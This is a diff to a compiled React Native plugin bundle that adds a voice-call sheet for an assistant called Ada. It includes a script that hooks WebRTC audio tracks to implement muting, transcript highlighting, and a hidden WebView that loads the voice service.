+  window._allAudioTracks = [];
+  window._adaPeerConnections = [];
+
+  function track(t) {
+    if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {
+      window._allAudioTracks.push(t);
+    }
+  }
+
+  // 1) Hook getUserMedia \u2014 captures mic streams at request time.
+  try {
+    if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
+      const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
+      navigator.mediaDevices.getUserMedia = async function(constraints) {
+        const stream = await origGUM(constraints);
+        if (constraints && constraints.audio) {
+          try { stream.getAudioTracks().forEach(track); } catch (e) {}
+        }
+        return stream;
+      };
+    }
+  } catch (e) {}
+
+  // 2) Hook RTCPeerConnection.addTrack \u2014 catches whatever the app sends.
+  try {
+    if (window.RTCPeerConnection) {
+      const origPC = window.RTCPeerConnection;
+      const origAddTrack = origPC.prototype.addTrack;
+      const origAddStream = origPC.prototype.addStream;
+      const origAddTransceiver = origPC.prototype.addTransceiver;
+
+      origPC.prototype.addTrack = function(t) {
+        if (t && t.kind === 'audio') track(t);
+        return origAddTrack.apply(this, arguments);
+      };
+      if (origAddStream) {
+        origPC.prototype.addStream = function(stream) {
+          try { stream.getAudioTracks().forEach(track); } catch (e) {}
+          return origAddStream.apply(this, arguments);
+        };
+      }
+      if (origAddTransceiver) {
+        origPC.prototype.addTransceiver = function(arg) {
+          if (arg && arg.kind === 'audio') {
+            // Transceiver created with kind 'audio' \u2014 sender track set later.
+          } else if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {
+            track(arg.track);
+          }
+          const tx = origAddTransceiver.apply(this, arguments);
+          try {
+            if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);
+          } catch (e) {}
+          return tx;
+        };
+      }
+    }
+  } catch (e) {}
+
+  // 3) Helper exposed for direct calls.
+  window._adaSetMuted = function(muted) {
+    let n = 0;
+    if (Array.isArray(window._allAudioTracks)) {
+      window._allAudioTracks.forEach(function(t) {
+        try { t.enabled = !muted; n++; } catch (e) {}
+      });
+    }
+    return n;
+  };
+})(); true;
+`;
+var buildMuteScript = (muted) => `
+(function(muted) {
+  if (typeof window.setMuted === 'function') { window.setMuted(muted); }
+  let n = 0;
+  if (typeof window._adaSetMuted === 'function') {
+    n = window._adaSetMuted(muted);
+  }
+  // Last-resort scan if hook somehow missed.
+  if (n === 0 && Array.isArray(window._allAudioTracks)) {
+    window._allAudioTracks.forEach(function(t) {
+      try { t.enabled = !muted; n++; } catch (e) {}
+    });
+  }
+  console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);
+})(${muted}); true;
+`;
+function useVoiceCall() {
+  const [callState, setCallState] = (0, import_react12.useState)("idle");
+  const [sessionId, setSessionId] = (0, import_react12.useState)(null);
+  const [error, setError] = (0, import_react12.useState)(null);
+  const [transcript, setTranscript] = (0, import_react12.useState)([]);
+  const [aiPartial, setAiPartial] = (0, import_react12.useState)("");
+  const [userPartial, setUserPartial] = (0, import_react12.useState)("");
+  const [muted, setMuted] = (0, import_react12.useState)(false);
+  const webViewRef = (0, import_react12.useRef)(null);
+  const handleWebViewMessage = (0, import_react12.useCallback)((event) => {
+    try {
+      const data = JSON.parse(event.nativeEvent.data);
+      console.log("[VoiceWebView] message:", data.type, data.text?.slice?.(0, 50) || data.state || "");
+      switch (data.type) {
+        case "callState":
+        case "call-state":
+          setCallState(data.state);
+          if (data.sessionId) setSessionId(data.sessionId);
+          if (data.error) setError(data.error);
+          break;
+        case "transcript":
+          setTranscript((prev) => [...prev, { role: data.role, text: data.text, ts: Date.now() }]);
+          break;
+        case "aiPartial":
+          setAiPartial(data.text);
+          break;
+        case "userPartial":
+          setUserPartial(data.text);
+          break;
+        case "clearPartials":
+          setAiPartial("");
+          setUserPartial("");
+          break;
+        case "error":
+          setError(data.message);
+          setCallState("error");
+          break;
+      }
+    } catch {
+    }
+  }, []);
+  const startCall = (0, import_react12.useCallback)(() => {
+    setCallState("connecting");
+    setError(null);
+    setTranscript([]);
+    setAiPartial("");
+    setUserPartial("");
+  }, []);
+  const stopCall = (0, import_react12.useCallback)(() => {
+    webViewRef.current?.injectJavaScript?.("window.hangUp && window.hangUp(); true;");
+    setCallState("idle");
+    setAiPartial("");
+    setUserPartial("");
+    setMuted(false);
+  }, []);
+  const toggleMute = (0, import_react12.useCallback)(() => {
+    setMuted((prev) => {
+      const next = !prev;
+      webViewRef.current?.injectJavaScript?.(buildMuteScript(next));
+      return next;
+    });
+  }, []);
+  const getWebViewSource = (0, import_react12.useCallback)(() => {
+    const token = (0, import_core16.getToken)();
+    const tenant = (0, import_core16.getTenant)();
+    const actorId = (0, import_core16.getUser)()?.actorId || "";
+    return {
+      uri: `${(0, import_core16.getVoiceApiUrl)()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || "")}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}`
+    };
+  }, []);
+  return {
+    callState,
+    sessionId,
+    error,
+    transcript,
+    aiPartial,
+    userPartial,
+    muted,
+    startCall,
+    stopCall,
+    toggleMute,
+    handleWebViewMessage,
+    getWebViewSource,
+    webViewRef,
+    injectedTrackHook: INJECT_TRACK_HOOK
+  };
+}
+
+// src/voice/VoiceCallSheet.tsx
+var import_jsx_runtime15 = require("react/jsx-runtime");
+var fontFam6 = import_react_native14.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
+var HIGHLIGHT_PATTERNS = [
+  /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g,
+  /(?:\+?\d[\s\-().]?){7,}\d/g,
+  /\$\d[\d,]*(?:\.\d{1,2})?/g,
+  /\b\d{1,2}:\d{2}\s?(?:am|pm|AM|PM)?\b/g,
+  /\bhttps?:\/\/\S+/g,
+  /\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b/g
+];
+function highlightSegments(text) {
+  const ranges = [];
+  for (const p of HIGHLIGHT_PATTERNS) {
+    p.lastIndex = 0;
+    let m;
+    while ((m = p.exec(text)) !== null) {
+      ranges.push([m.index, m.index + m[0].length]);
+    }
+  }
+  if (!ranges.length) return [{ text, important: false }];
+  ranges.sort((a, b) => a[0] - b[0]);
+  const merged = [];
+  for (const r of ranges) {
+    if (merged.length && r[0] <= merged[merged.length - 1][1]) {
+      merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);
+    } else {
+      merged.push([r[0], r[1]]);
+    }
+  }
+  const segments = [];
+  let cursor = 0;
+  for (const [start, end] of merged) {
+    if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });
+    segments.push({ text: text.slice(start, end), important: true });
+    cursor = end;
+  }
+  if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });
+  return segments;
+}
+function HighlightedText({
+  text,
+  baseStyle,
+  importantStyle
+}) {
+  const segments = (0, import_react13.useMemo)(() => highlightSegments(text), [text]);
+  return /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: baseStyle, children: segments.map((seg, i) => /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: seg.important ? importantStyle : void 0, children: seg.text }, i)) });
+}
+function VoiceCallSheet({ visible, onClose }) {
+  const {
+    callState,
+    aiPartial,
+    userPartial,
+    transcript,
+    error,
+    muted,
+    startCall,
+    stopCall,
+    toggleMute,
+    handleWebViewMessage,
+    getWebViewSource,
+    webViewRef,
+    injectedTrackHook
+  } = useVoiceCall();
+  const scrollRef = (0, import_react13.useRef)(null);
+  (0, import_react13.useEffect)(() => {
+    if (visible && callState === "idle") startCall();
+  }, [visible]);
+  (0, import_react13.useEffect)(() => {
+    scrollRef.current?.scrollToEnd?.({ animated: true });
+  }, [transcript.length, aiPartial, userPartial]);
+  const handleHangUp = () => {
+    stopCall();
+    onClose();
+  };
+  const orbState = (0, import_react13.useMemo)(() => {
+    if (callState === "connecting") return "thinking";
+    if (callState === "error") return "idle";
+    if (aiPartial) return "speaking";
+    if (userPartial) return "listening";
+    return "idle";
+  }, [callState, aiPartial, userPartial]);
+  const statusLabel = (0, import_react13.useMemo)(() => {
+    if (callState === "connecting") return "Connecting\u2026";
+    if (callState === "error") return error || "Couldn\u2019t connect";
+    if (aiPartial) return "Ada is speaking";
+    if (userPartial) return "Listening";
+    if (callState === "connected") return "Go ahead, I\u2019m here.";
+    return "";
+  }, [callState, aiPartial, userPartial, error]);
+  if (!visible) return null;
+  const visibleEntries = transcript.filter((e) => e.role === "user" || e.role === "ai");
+  return /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(
+    import_plugin_runtime9.SurfaceFullscreen,
+    {
+      visible,
+      onClose: handleHangUp,
+      status: statusLabel,
+      hero: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_plugin_runtime9.AdaOrb, { size: 180, state: orbState }),
+      closeIcon: "hangup",
+      closeLabel: "End",
+      children: [
+        /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(
+          import_react_native14.ScrollView,
+          {
+            ref: scrollRef,
+            style: styles13.transcript,
+            contentContainerStyle: styles13.transcriptContent,
+            showsVerticalScrollIndicator: false,
+            children: [
+              callState === "error" && error ? /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.View, { style: styles13.errorBox, children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.errorText, children: error }) }) : null,
+              visibleEntries.map((entry, i) => /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.entry, children: [
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.role, children: entry.role === "user" ? "YOU" : "ADA" }),
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
+                  HighlightedText,
+                  {
+                    text: entry.text,
+                    baseStyle: styles13.entryText,
+                    importantStyle: styles13.important
+                  }
+                )
+              ] }, `${entry.ts}-${i}`)),
+              userPartial || aiPartial ? /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.entry, children: [
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.role, children: userPartial ? "YOU" : "ADA" }),
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
+                  HighlightedText,
+                  {
+                    text: userPartial || aiPartial,
+                    baseStyle: styles13.entryTextLive,
+                    importantStyle: styles13.important
+                  }
+                )
+              ] }) : null
+            ]
+          }
+        ),
+        callState === "connected" || callState === "connecting" ? /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.muteWrap, pointerEvents: "box-none", children: [
+          /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
+            import_react_native14.Pressable,
+            {
+              onPress: toggleMute,
+              accessibilityRole: "button",
+              accessibilityLabel: muted ? "Unmute microphone" : "Mute microphone",
+              accessibilityState: { selected: muted },
+              style: [styles13.muteBtn, muted && styles13.muteBtnActive],
+              hitSlop: 12,
+              children: /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native_svg2.default, { width: 22, height: 22, viewBox: "0 0 24 24", fill: "none", stroke: muted ? import_core17.ada.paper : import_core17.ada.ink, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: [
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Path, { d: "M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z" }),
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Path, { d: "M19 10v2a7 7 0 0 1-14 0v-2" }),
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "12", y1: "19", x2: "12", y2: "23" }),
+                /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "8", y1: "23", x2: "16", y2: "23" }),
+                muted ? /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "3", y1: "3", x2: "21", y2: "21", stroke: import_core17.ada.paper, strokeWidth: 2.4 }) : null
+              ] })
+            }
+          ),
+          /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.muteLabel, children: muted ? "Muted" : "Mute" })
+        ] }) : null,
+        callState !== "idle" && /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.View, { style: styles13.hiddenWebView, pointerEvents: "none", children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
+          import_react_native_webview3.WebView,
+          {
+            ref: webViewRef,
+            source: getWebViewSource(),
+            style: { flex: 1, backgroundColor: "transparent" },
+            onMessage: handleWebViewMessage,
+            onError: (e) => console.log("[VoiceWebView] error:", e.nativeEvent?.description),
+            injectedJavaScriptBeforeContentLoaded: injectedTrackHook,
+            mediaPlaybackRequiresUserAction: false,
+            allowsInlineMediaPlayback: true,
+            mediaCapturePermissionGrantType: "grant",
+            javaScriptEnabled: true,
+            originWhitelist: ["*"]
+          }
+        ) })
+      ]
+    }
+  );
+}
+var styles13 = import_react_native14.StyleSheet.create({
+  transcript: {
+    flex: 1,
+    paddingHorizontal: 28
+  },
+  transcriptContent: {
+    paddingTop: 8,
+    paddingBottom: 16,
+    gap: 14
+  },
+  entry: {
+    flexDirection: "row",
+    gap: 10,
+    alignItems: "flex-start"
+  },
+  role: {
+    fontSize: 10,
+    fontFamily: fontFam6,
+    fontWeight: "700",
+    color: import_core17.ada.inkMuted,
+    letterSpacing: 1.4,
+    minWidth: 32,
+    paddingTop: 3,
+    opacity: 0.55
+  },
+  entryText: {
+    flex: 1,
+    fontSize: 14,
+    fontFamily: fontFam6,
+    fontWeight: "400",
+    color: import_core17.ada.inkSoft,
+    lineHeight: 20,
+    letterSpacing: -0.1,
+    opacity: 0.42
+  },
+  entryTextLive: {
+    flex: 1,
+    fontSize: 14,
+    fontFamily: fontFam6,
+    fontWeight: "400",
+    color: import_core17.ada.inkSoft,
+    lineHeight: 20,
+    letterSpacing: -0.1,
+    opacity: 0.7
+  },
+  important: {
+    fontSize: 17,
+    fontFamily: fontFam6,
+    fontWeight: "700",
+    color: import_core17.ada.ink,
+    letterSpacing: -0.1,
+    opacity: 1
+  },
+  errorBox: {
+    backgroundColor: "rgba(239,68,68,0.12)",
+    borderColor: "rgba(239,68,68,0.45)",
+    borderWidth: 1,
+    borderRadius: 10,
+    paddingVertical: 10,
+    paddingHorizontal: 14,
+    marginBottom: 12
+  },
+  errorText: {
+    fontSize: 13,
+    fontFamily: fontFam6,
+    fontWeight: "500",
+    color: "#fca5a5",
+    lineHeight: 18
+  },
+  muteWrap: {
+    position: "absolute",
+    bottom: import_react_native14.Platform.OS === "ios" ? 56 : 40,
+    left: 28,
+    alignItems: "center",
+    gap: 6
+  },
+  muteBtn: {
+    width: 56,
+    height: 56,
+    borderRadius: 28,
+    backgroundColor: import_core17.ada.paperSoft,
+    borderWidth: 1,
+    borderColor: import_core17.ada.border,
+    justifyContent: "center",
+    alignItems: "center"
+  },
+  muteBtnActive: {
+    backgroundColor: "#C15545",
+    borderColor: "#C15545"
+  },
+  muteLabel: {
+    fontSize: 12,
+    fontFamily: fontFam6,
+    fontWeight: "500",
+    color: import_core17.ada.inkMuted,
+    letterSpacing: 0.3
+  },
+  hiddenWebView: {
+    position: "absolute",
+    width: 1,
+    height: 1,
+    top: -100,
+    left: -100,
+    opacity: 0
+  }
+});
 // Annotate the CommonJS export names for ESM import in node:
 0 && (module.exports = {
   AdasChatScreen,
@@ -1858,13 +2506,20 @@ var styles11 = import_react_native12.StyleSheet.create({
   Plugin,
   PluginSurface,
   TableCardBlock,
+  TenantPicker,
   TypingIndicator,
   UIActionsRow,
+  VoiceCallSheet,
+  WidgetHost,
   WidgetWebView,
   buildPluginBridgeJS,
+  openWidget,
   setClipboardProvider,
+  setPluginWebViewExtraHosts,
   setUIActionNavigator,
   useLightboxStore,
-  usePluginBridge
+  usePluginBridge,
+  useVoiceCall,
+  useWidgetHostStore
 });
 //# sourceMappingURL=index.js.map